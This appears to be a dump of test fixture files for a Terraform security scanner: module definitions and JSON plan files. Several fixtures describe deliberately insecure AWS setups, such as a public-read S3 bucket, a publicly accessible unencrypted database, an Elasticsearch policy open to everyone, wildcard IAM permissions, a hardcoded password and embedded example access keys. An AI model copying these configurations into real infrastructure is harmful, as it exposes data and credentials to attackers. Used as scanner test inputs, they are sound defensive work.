"instance_type") instance_count = lookup(cluster_config.value, "instance_count") dedicated_master_enabled = lookup(cluster_config.value, "dedicated_master_enabled") dedicated_master_type = lookup(cluster_config.value, "dedicated_master_type") dedicated_master_count = lookup(cluster_config.value, "dedicated_master_count") zone_awareness_enabled = lookup(cluster_config.value, "zone_awareness_enabled") } } } resource "aws_api_gateway_method" "apigateway_method_with_authorization" { rest_api_id = "${var.rest_api_id}" resource_id = "${var.resource_id}" http_method = "OPTIONS}" authorization = "AWS_IAM" } resource "aws_api_gateway_method" "apigateway_method_no_authorization" { rest_api_id = var.api_id resource_id = var.api_resource_id http_method = var.http_method authorization = "NONE" } resource "aws_iam_role" "example_with_specific_service" { name = "${var.name}-${var.environment}" assume_role_policy = < 0 ? data.aws_iam_policy_document.dl_queue_resource_reader.json : "" ) } ================================================ FILE: tests/terraform/runner/resources/multiple_module_versions/main.tf ================================================ module "ec2_private_latest" { source = "terraform-aws-modules/ec2-instance/aws" name = "ec2-private-latest" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = false } module "ec2_public_latest" { source = "terraform-aws-modules/ec2-instance/aws" name = "ec2-public-latest" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = true } module "ec2_private_old" { source = "terraform-aws-modules/ec2-instance/aws" version = "2.21.0" name = "ec2-private-2.21.0" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = false } module "ec2_public_old" { source = "terraform-aws-modules/ec2-instance/aws" version = "2.21.0" name = "ec2-public-2.21.0" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = true } ================================================ FILE: tests/terraform/runner/resources/multiple_module_versions/main_2.tf ================================================ module "ec2_private_latest_2" { source = "terraform-aws-modules/ec2-instance/aws" name = "ec2-private-latest" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = false } module "ec2_public_latest_2" { source = "terraform-aws-modules/ec2-instance/aws" name = "ec2-public-latest" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = true } module "ec2_private_old_2" { source = "terraform-aws-modules/ec2-instance/aws" version = "2.21.0" name = "ec2-private-2.21.0" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = false } module "ec2_public_old_2" { source = "terraform-aws-modules/ec2-instance/aws" version = "2.21.0" name = "ec2-public-2.21.0" ami = "ami-0ff8a91507f77f867" instance_type = "t3.micro" key_name = "user1" vpc_security_group_ids = ["sg-12345678"] subnet_id = "subnet-123456" associate_public_ip_address = true } ================================================ FILE: tests/terraform/runner/resources/nested_dir/dir1/example.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/nested_dir/example.tf ================================================ resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } } data "aws_caller_identity" "current" {} ================================================ FILE: tests/terraform/runner/resources/nested_modules_caller_file/main.tf ================================================ module "test_module" { source = "./module" } ================================================ FILE: tests/terraform/runner/resources/nested_modules_caller_file/module/module.tf ================================================ # Bucket that will fail (no encryption) defined INSIDE a module resource "aws_s3_bucket" "module" { bucket = "inside-bucket" object_lock_configuration { object_lock_enabled = "Disabled" } } ================================================ FILE: tests/terraform/runner/resources/plan/corrupted-tfplan.json ================================================ { "format_version": "1.0", "terraform_version": "0.14.0", "values": { "root_module": { "resources": [ { "address": "test_instance.test", "mode": "managed", "type": "test_instance", "name": "test", "provider_name": "registry.terraform.io/hashicorp/test", "schema_version": 0, "values": { "id": "621124146446964903", "ami": "abc" }, "sensitive_values": { "ami": true } } ] } } } ================================================ FILE: tests/terraform/runner/resources/plan/tf_plan_filtered_rule_fail.json ================================================ { "format_version": "1.2", "terraform_version": "1.5.7", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 7 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": ["my_tag"] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "sensitive_values": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] } } ] } }, "resource_changes": [ { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "update" ], "before": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 6 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": [] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "after": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 7 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": [] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "after_unknown": {}, "before_sensitive": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] }, "after_sensitive": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] } } } ] } ================================================ FILE: tests/terraform/runner/resources/plan/tf_plan_filtered_rule_success.json ================================================ { "format_version": "1.2", "terraform_version": "1.5.7", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 7 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": [] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "sensitive_values": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] } } ] } }, "resource_changes": [ { "address": "aws_s3_bucket_lifecycle_configuration.this", "mode": "managed", "type": "aws_s3_bucket_lifecycle_configuration", "name": "this", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "update" ], "before": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 6 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": [] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "after": { "bucket": "my_bucket", "expected_bucket_owner": "", "id": "the_id", "rule": [ { "abort_incomplete_multipart_upload": [ { "days_after_initiation": 7 } ], "expiration": [], "filter": [ { "and": [], "object_size_greater_than": "", "object_size_less_than": "", "prefix": "", "tag": [] } ], "id": "failed-uploads", "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "prefix": "", "status": "Enabled", "transition": [] } ], "timeouts": null }, "after_unknown": {}, "before_sensitive": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] }, "after_sensitive": { "rule": [ { "abort_incomplete_multipart_upload": [ {} ], "expiration": [], "filter": [ { "and": [], "tag": [] } ], "noncurrent_version_expiration": [], "noncurrent_version_transition": [], "transition": [] } ] } } } ] } ================================================ FILE: tests/terraform/runner/resources/plan/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.23", "variables": { "ami": { "value": "ami-09a5b0b7edf08843d" }, "availability_zone": { "value": "us-west-2a" }, "availability_zone2": { "value": "us-west-2b" }, "company_name": { "value": "acme" }, "dbname": { "value": "db1" }, "environment": { "value": "corp" }, "neptune-dbname": { "value": "neptunedb1" }, "password": { "value": "Aa1234321Bb" }, "profile": { "value": "default" }, "region": { "value": "us-west-2" } }, "planned_values": { "outputs": { "db_app_public_dns": { "sensitive": false }, "db_endpoint": { "sensitive": false }, "ec2_public_dns": { "sensitive": false }, "endpoint": { "sensitive": false }, "kubeconfig-certificate-authority-data": { "sensitive": false }, "public_subnet": { "sensitive": false }, "public_subnet2": { "sensitive": false }, "secret": { "sensitive": false }, "username": { "sensitive": false, "value": "123456789123-acme-corp-user" }, "vpc_id": { "sensitive": false } }, "root_module": { "resources": [ { "address": "aws_db_instance.default", "mode": "managed", "type": "aws_db_instance", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "allocated_storage": 20, "allow_major_version_upgrade": null, "apply_immediately": true, "auto_minor_version_upgrade": true, "backup_retention_period": 0, "copy_tags_to_snapshot": false, "db_subnet_group_name": "sg-123456789123-acme-corp", "delete_automated_backups": true, "deletion_protection": null, "domain": null, "domain_iam_role_name": null, "enabled_cloudwatch_logs_exports": null, "engine": "mysql", "engine_version": "8.0", "final_snapshot_identifier": null, "iam_database_authentication_enabled": null, "identifier": "rds-123456789123-acme-corp", "instance_class": "db.t3.micro", "iops": null, "max_allocated_storage": null, "monitoring_interval": 0, "multi_az": false, "name": "db1", "option_group_name": "og-123456789123-acme-corp", "parameter_group_name": "pg-123456789123-acme-corp", "password": "Aa1234321Bb", "performance_insights_enabled": false, "publicly_accessible": true, "replicate_source_db": null, "s3_import": [], "security_group_names": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds" }, "timeouts": null, "username": "admin" } }, { "address": "aws_db_option_group.default", "mode": "managed", "type": "aws_db_option_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "engine_name": "mysql", "major_engine_version": "8.0", "name": "og-123456789123-acme-corp", "option": [], "option_group_description": "Terraform OG", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-og" }, "timeouts": null } }, { "address": "aws_db_parameter_group.default", "mode": "managed", "type": "aws_db_parameter_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform PG", "family": "mysql8.0", "name": "pg-123456789123-acme-corp", "parameter": [ { "apply_method": "immediate", "name": "character_set_client", "value": "utf8" }, { "apply_method": "immediate", "name": "character_set_server", "value": "utf8" } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-pg" } } }, { "address": "aws_db_subnet_group.default", "mode": "managed", "type": "aws_db_subnet_group", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "description": "Terraform DB Subnet Group", "name": "sg-123456789123-acme-corp", "tags": { "Environment": "123456789123-acme-corp", "Name": "sg-123456789123-acme-corp" } } }, { "address": "aws_ebs_snapshot.example_snapshot", "mode": "managed", "type": "aws_ebs_snapshot", "name": "example_snapshot", "provider_name": "aws", "schema_version": 0, "values": { "description": "123456789123-acme-corp-ebs-snapshot", "tags": { "Name": "123456789123-acme-corp-ebs-snapshot" }, "timeouts": null } }, { "address": "aws_ebs_volume.web_host_storage", "mode": "managed", "type": "aws_ebs_volume", "name": "web_host_storage", "provider_name": "aws", "schema_version": 0, "values": { "availability_zone": "us-west-2a", "multi_attach_enabled": null, "outpost_arn": null, "size": 1, "tags": { "Name": "123456789123-acme-corp-ebs" } } }, { "address": "aws_ecr_repository.repository", "mode": "managed", "type": "aws_ecr_repository", "name": "repository", "provider_name": "aws", "schema_version": 0, "values": { "encryption_configuration": [], "image_scanning_configuration": [], "image_tag_mutability": "MUTABLE", "name": "123456789123-acme-corp-repository", "tags": { "Name": "123456789123-acme-corp-repository" }, "timeouts": null } }, { "address": "aws_eks_cluster.eks_cluster", "mode": "managed", "type": "aws_eks_cluster", "name": "eks_cluster", "provider_name": "aws", "schema_version": 0, "values": { "enabled_cluster_log_types": null, "encryption_config": [], "name": "123456789123-acme-corp-eks", "tags": null, "timeouts": null, "vpc_config": [ { "endpoint_private_access": true, "endpoint_public_access": true, "security_group_ids": null } ] } }, { "address": "aws_elasticsearch_domain.monitoring-framework", "mode": "managed", "type": "aws_elasticsearch_domain", "name": "monitoring-framework", "provider_name": "aws", "schema_version": 0, "values": { "cluster_config": [ { "dedicated_master_count": null, "dedicated_master_enabled": false, "dedicated_master_type": null, "instance_count": 1, "instance_type": "t2.small.elasticsearch", "warm_count": null, "warm_enabled": null, "warm_type": null, "zone_awareness_config": [], "zone_awareness_enabled": null } ], "cognito_options": [], "domain_name": "tg-corp-es", "ebs_options": [ { "ebs_enabled": true, "iops": null, "volume_size": 30 } ], "elasticsearch_version": "2.3", "log_publishing_options": [], "snapshot_options": [], "tags": null, "timeouts": null, "vpc_options": [] } }, { "address": "aws_elasticsearch_domain_policy.monitoring-framework-policy", "mode": "managed", "type": "aws_elasticsearch_domain_policy", "name": "monitoring-framework-policy", "provider_name": "aws", "schema_version": 0, "values": { "access_policies": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", "domain_name": "tg-corp-es" } }, { "address": "aws_elb.weblb", "mode": "managed", "type": "aws_elb", "name": "weblb", "provider_name": "aws", "schema_version": 0, "values": { "access_logs": [], "connection_draining": true, "connection_draining_timeout": 400, "cross_zone_load_balancing": true, "health_check": [ { "healthy_threshold": 2, "interval": 30, "target": "HTTP:8000/", "timeout": 3, "unhealthy_threshold": 2 } ], "idle_timeout": 400, "listener": [ { "instance_port": 8000, "instance_protocol": "http", "lb_port": 80, "lb_protocol": "http", "ssl_certificate_id": "" } ], "name": "weblb-terraform-elb", "name_prefix": null, "tags": { "Name": "foobar-terraform-elb" } } }, { "address": "aws_flow_log.vpcflowlogs", "mode": "managed", "type": "aws_flow_log", "name": "vpcflowlogs", "provider_name": "aws", "schema_version": 0, "values": { "eni_id": null, "iam_role_arn": null, "log_destination_type": "s3", "max_aggregation_interval": 600, "subnet_id": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "traffic_type": "ALL" } }, { "address": "aws_iam_access_key.user", "mode": "managed", "type": "aws_iam_access_key", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "pgp_key": null, "user": "123456789123-acme-corp-user" } }, { "address": "aws_iam_instance_profile.ec2profile", "mode": "managed", "type": "aws_iam_instance_profile", "name": "ec2profile", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-profile", "name_prefix": null, "path": "/", "role": "123456789123-acme-corp-role" } }, { "address": "aws_iam_role.ec2role", "mode": "managed", "type": "aws_iam_role", "name": "ec2role", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-role", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-role" } } }, { "address": "aws_iam_role.iam_for_eks", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_eks", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-iam-for-eks", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role.iam_for_lambda", "mode": "managed", "type": "aws_iam_role", "name": "iam_for_lambda", "provider_name": "aws", "schema_version": 0, "values": { "assume_role_policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"lambda.amazonaws.com\"\n },\n \"Effect\": \"Allow\",\n \"Sid\": \"\"\n }\n ]\n}\n", "description": null, "force_detach_policies": false, "max_session_duration": 3600, "name": "123456789123-acme-corp-analysis-lambda", "name_prefix": null, "path": "/", "permissions_boundary": null, "tags": null } }, { "address": "aws_iam_role_policy.ec2policy", "mode": "managed", "type": "aws_iam_role_policy", "name": "ec2policy", "provider_name": "aws", "schema_version": 0, "values": { "name": "123456789123-acme-corp-policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"s3:*\",\n \"ec2:*\",\n \"rds:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSClusterPolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSClusterPolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy", "mode": "managed", "type": "aws_iam_role_policy_attachment", "name": "policy_attachment-AmazonEKSServicePolicy", "provider_name": "aws", "schema_version": 0, "values": { "policy_arn": "arn:aws:iam::aws:policy/AmazonEKSServicePolicy", "role": "123456789123-acme-corp-iam-for-eks" } }, { "address": "aws_iam_user.user", "mode": "managed", "type": "aws_iam_user", "name": "user", "provider_name": "aws", "schema_version": 0, "values": { "force_destroy": true, "name": "123456789123-acme-corp-user", "path": "/", "permissions_boundary": null, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-user" } } }, { "address": "aws_iam_user_policy.userpolicy", "mode": "managed", "type": "aws_iam_user_policy", "name": "userpolicy", "provider_name": "aws", "schema_version": 0, "values": { "name": "excess_policy", "name_prefix": null, "policy": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Action\": [\n \"ec2:*\",\n \"s3:*\",\n \"lambda:*\",\n \"cloudwatch:*\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n}\n", "user": "123456789123-acme-corp-user" } }, { "address": "aws_instance.db_app", "mode": "managed", "type": "aws_instance", "name": "db_app", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-0f0a6d00932023856", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": "123456789123-acme-corp-profile", "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-dbapp" }, "timeouts": null, "user_data_base64": null } }, { "address": "aws_instance.web_host", "mode": "managed", "type": "aws_instance", "name": "web_host", "provider_name": "aws", "schema_version": 1, "values": { "ami": "ami-09a5b0b7edf08843d", "credit_specification": [], "disable_api_termination": null, "ebs_optimized": null, "get_password_data": false, "hibernation": null, "iam_instance_profile": null, "instance_initiated_shutdown_behavior": null, "instance_type": "t2.nano", "monitoring": null, "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-ec2" }, "timeouts": null, "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", "user_data_base64": null } }, { "address": "aws_internet_gateway.web_igw", "mode": "managed", "type": "aws_internet_gateway", "name": "web_igw", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-igw" } } }, { "address": "aws_kms_alias.logs_key_alias", "mode": "managed", "type": "aws_kms_alias", "name": "logs_key_alias", "provider_name": "aws", "schema_version": 0, "values": { "name": "alias/123456789123-acme-corp-logs-bucket-key", "name_prefix": null } }, { "address": "aws_kms_key.logs_key", "mode": "managed", "type": "aws_kms_key", "name": "logs_key", "provider_name": "aws", "schema_version": 0, "values": { "customer_master_key_spec": "SYMMETRIC_DEFAULT", "deletion_window_in_days": 7, "description": "123456789123-acme-corp-logs bucket key", "enable_key_rotation": false, "is_enabled": true, "key_usage": "ENCRYPT_DECRYPT", "tags": null } }, { "address": "aws_lambda_function.analysis_lambda", "mode": "managed", "type": "aws_lambda_function", "name": "analysis_lambda", "provider_name": "aws", "schema_version": 0, "values": { "dead_letter_config": [], "description": null, "environment": [ { "variables": { "access_key": "AKIAIOSFODNN7EXAMPLE", "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" } } ], "file_system_config": [], "filename": "resources/lambda_function_payload.zip", "function_name": "123456789123-acme-corp-analysis", "handler": "exports.test", "kms_key_arn": null, "layers": null, "memory_size": 128, "publish": false, "reserved_concurrent_executions": -1, "runtime": "nodejs12.x", "s3_bucket": null, "s3_key": null, "s3_object_version": null, "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", "tags": null, "timeout": 3, "timeouts": null, "vpc_config": [] } }, { "address": "aws_neptune_cluster.default", "mode": "managed", "type": "aws_neptune_cluster", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "backup_retention_period": 5, "cluster_identifier": "neptunedb1", "deletion_protection": null, "enable_cloudwatch_logs_exports": null, "engine": "neptune", "final_snapshot_identifier": null, "iam_database_authentication_enabled": false, "iam_roles": null, "neptune_cluster_parameter_group_name": "default.neptune1", "port": 8182, "preferred_backup_window": "07:00-09:00", "replication_source_identifier": null, "skip_final_snapshot": true, "snapshot_identifier": null, "storage_encrypted": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_instance.default[0]", "mode": "managed", "type": "aws_neptune_cluster_instance", "name": "default", "index": 0, "provider_name": "aws", "schema_version": 0, "values": { "apply_immediately": true, "auto_minor_version_upgrade": true, "engine": "neptune", "instance_class": "db.t3.medium", "neptune_parameter_group_name": "default.neptune1", "port": 8182, "promotion_tier": 0, "publicly_accessible": false, "tags": null, "timeouts": null } }, { "address": "aws_neptune_cluster_snapshot.default", "mode": "managed", "type": "aws_neptune_cluster_snapshot", "name": "default", "provider_name": "aws", "schema_version": 0, "values": { "db_cluster_snapshot_identifier": "resourcetestsnapshot1", "timeouts": null } }, { "address": "aws_network_interface.web-eni", "mode": "managed", "type": "aws_network_interface", "name": "web-eni", "provider_name": "aws", "schema_version": 0, "values": { "description": null, "private_ips": [ "172.16.10.100" ], "source_dest_check": true, "tags": { "Name": "123456789123-acme-corp-primary_network_interface" } } }, { "address": "aws_route.public_internet_gateway", "mode": "managed", "type": "aws_route", "name": "public_internet_gateway", "provider_name": "aws", "schema_version": 0, "values": { "destination_cidr_block": "0.0.0.0/0", "destination_ipv6_cidr_block": null, "timeouts": { "create": "5m", "delete": null }, "transit_gateway_id": null, "vpc_peering_connection_id": "" } }, { "address": "aws_route_table.web_rtb", "mode": "managed", "type": "aws_route_table", "name": "web_rtb", "provider_name": "aws", "schema_version": 0, "values": { "tags": { "Name": "123456789123-acme-corp-rtb" } } }, { "address": "aws_route_table_association.rtbassoc", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_route_table_association.rtbassoc2", "mode": "managed", "type": "aws_route_table_association", "name": "rtbassoc2", "provider_name": "aws", "schema_version": 0, "values": { "gateway_id": null } }, { "address": "aws_s3_bucket.data", "mode": "managed", "type": "aws_s3_bucket", "name": "data", "provider_name": "aws", "schema_version": 0, "values": { "acl": "public-read", "bucket": "123456789123-acme-corp-data", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-data" }, "website": [] } }, { "address": "aws_s3_bucket.data_science", "mode": "managed", "type": "aws_s3_bucket", "name": "data_science", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-data-science", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [ { "target_prefix": "log/" } ], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.financials", "mode": "managed", "type": "aws_s3_bucket", "name": "financials", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-financials", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-financials" }, "website": [] } }, { "address": "aws_s3_bucket.flowbucket", "mode": "managed", "type": "aws_s3_bucket", "name": "flowbucket", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-flowlogs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-flowlogs" }, "website": [] } }, { "address": "aws_s3_bucket.logs", "mode": "managed", "type": "aws_s3_bucket", "name": "logs", "provider_name": "aws", "schema_version": 0, "values": { "acl": "log-delivery-write", "bucket": "123456789123-acme-corp-logs", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [ { "rule": [ { "apply_server_side_encryption_by_default": [ { "sse_algorithm": "aws:kms" } ] } ] } ], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-logs" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket.operations", "mode": "managed", "type": "aws_s3_bucket", "name": "operations", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "123456789123-acme-corp-operations", "bucket_prefix": null, "cors_rule": [], "force_destroy": true, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-operations" }, "versioning": [ { "enabled": true, "mfa_delete": false } ], "website": [] } }, { "address": "aws_s3_bucket_object.data_object", "mode": "managed", "type": "aws_s3_bucket_object", "name": "data_object", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "cache_control": null, "content": null, "content_base64": null, "content_disposition": null, "content_encoding": null, "content_language": null, "force_destroy": false, "key": "customer-master.xlsx", "metadata": null, "object_lock_legal_hold_status": null, "object_lock_mode": null, "object_lock_retain_until_date": null, "source": "resources/customer-master.xlsx", "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-customer-master" }, "website_redirect": null } }, { "address": "aws_security_group.default", "mode": "managed", "type": "aws_security_group", "name": "default", "provider_name": "aws", "schema_version": 1, "values": { "description": "Managed by Terraform", "name": "123456789123-acme-corp-rds-sg", "name_prefix": null, "revoke_rules_on_delete": false, "tags": { "Environment": "123456789123-acme-corp", "Name": "123456789123-acme-corp-rds-sg" }, "timeouts": null } }, { "address": "aws_security_group.web-node", "mode": "managed", "type": "aws_security_group", "name": "web-node", "provider_name": "aws", "schema_version": 1, "values": { "description": "123456789123-acme-corp Security Group", "egress": [ { "cidr_blocks": [ "0.0.0.0/0" ], "description": 